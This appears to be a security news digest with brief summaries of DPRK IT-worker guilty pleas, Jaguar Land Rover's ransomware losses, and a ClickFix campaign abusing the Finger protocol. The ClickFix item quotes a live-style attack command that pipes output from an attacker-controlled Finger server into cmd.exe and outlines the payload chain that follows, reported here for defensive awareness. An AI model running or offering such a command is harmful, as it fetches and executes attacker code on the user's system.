NVISO Labs warns attackers are abusing developer trust and legitimate platforms and recommends sandboxing, auditing config files, and blocking suspicious outbound requests.

Five Plead Guilty to Enabling DPRK Remote IT and Hacks

🔒 Five individuals have pleaded guilty to serving as facilitators for North Korean cyber operations, the US Department of Justice said. They used false or stolen identities and hosted employer laptops in US residences to create the appearance of domestic remote IT workers, aiding APT38-linked efforts. The DoJ said the activity impacted more than 136 US organizations, generated over $2.2m for Pyongyang and compromised the identities of 18 US residents, and authorities seized $15m in Tether tied to related heists.

JLR Posts £485m Q2 Losses After September Ransomware Attack

🔒 Jaguar Land Rover reported a £485m ($639m) Q2 loss after a September ransomware attack that halted production at its three UK plants for weeks. The company said the incident generated £196m ($258m) in cyber-related costs, contributing to a 24% year‑on‑year revenue decline to £4.9bn ($6.5bn). JLR set up a loan-backed financing scheme for suppliers and secured government loan guarantees, and confirmed production has now resumed.

Decades-Old Finger Protocol Used to Deliver ClickFix Malware

🛡️ Researchers warn the decades-old Finger protocol is being repurposed in ClickFix-style campaigns to fetch remote commands and execute them on Windows systems. Attackers social-engineer victims into running batch commands such as finger root@finger.nateams[.]com | cmd, piping remote output directly into cmd.exe. Observed chains create randomly named folders, copy and rename curl.exe, download a ZIP disguised as a PDF, extract a Python malware package and launch it via pythonw.exe. Blocking outbound TCP port 79 is the primary mitigation to prevent systems from connecting to remote Finger daemons.

Jaguar Land Rover Cyberattack Costs Company Over $220M

📰 Jaguar Land Rover reported a cyberattack cost of £196 million ($220 million) for the July–September quarter after the incident forced production shutdowns and staff to be sent home.
